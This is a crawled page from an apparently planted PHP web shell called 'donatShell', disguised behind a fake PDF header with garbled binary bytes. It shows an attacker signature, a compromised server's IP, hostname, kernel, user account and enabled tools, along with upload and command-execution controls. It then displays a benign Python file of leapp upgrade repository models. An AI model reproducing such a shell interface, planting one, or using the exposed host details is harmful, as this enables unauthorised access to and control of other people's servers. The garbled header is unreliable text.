%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/models/targetrepositories.py
from leapp.models import fields, Model
from leapp.topics import TransactionTopic


class TargetRepositoryBase(Model):
    topic = TransactionTopic
    repoid = fields.String()


class UsedTargetRepository(TargetRepositoryBase):
    pass


class RHELTargetRepository(TargetRepositoryBase):
    pass


class CustomTargetRepository(TargetRepositoryBase):
    name = fields.Nullable(fields.String())
    baseurl = fields.Nullable(fields.String())
    enabled = fields.Boolean(default=True)


class VendorCustomTargetRepositoryList(Model):
    topic = TransactionTopic
    vendor = fields.String()
    repos = fields.List(fields.Model(CustomTargetRepository))


class TargetRepositories(Model):
    """
    Repositories supposed to be used during the IPU process

    The list of the actually used repositories could be just subset
    of these repositoies. In case of `custom_repositories`, all such repositories
    must be available otherwise the upgrade is inhibited. But in case of
    `rhel_repos`, only BaseOS and Appstream repos are required now. If others
    are missing, upgrade can still continue.
    """
    topic = TransactionTopic
    rhel_repos = fields.List(fields.Model(RHELTargetRepository))
    """
    Expected target YUM RHEL repositories provided via RHSM

    These repositories are stored inside /etc/yum.repos.d/redhat.repo and
    are expected to be used based on the provided repositories mapping.
    """

    custom_repos = fields.List(fields.Model(CustomTargetRepository), default=[])
    """
    Custom YUM repositories required to be used for the IPU

    Usually contains third-party or custom repositories specified by user
    to be used for the IPU. But can contain also RHEL repositories. Difference
    is that these repositories are not mapped automatically but are explicitly
    required by user or by an additional product via actors.
    """


class UsedTargetRepositories(Model):
    """
    Repositories that are used for the IPU process

    This is the source of truth about the repositories used during the upgrade.
    Once specified, it is used for all actions related to the upgrade rpm
    transaction itself.
    """
    topic = TransactionTopic
    repos = fields.List(fields.Model(UsedTargetRepository))
    """
    The list of the used target repositories.
    """


class CustomTargetRepositoryFile(Model):
    topic = TransactionTopic
    file = fields.String()

Anon7 - 2022
AnonSec Team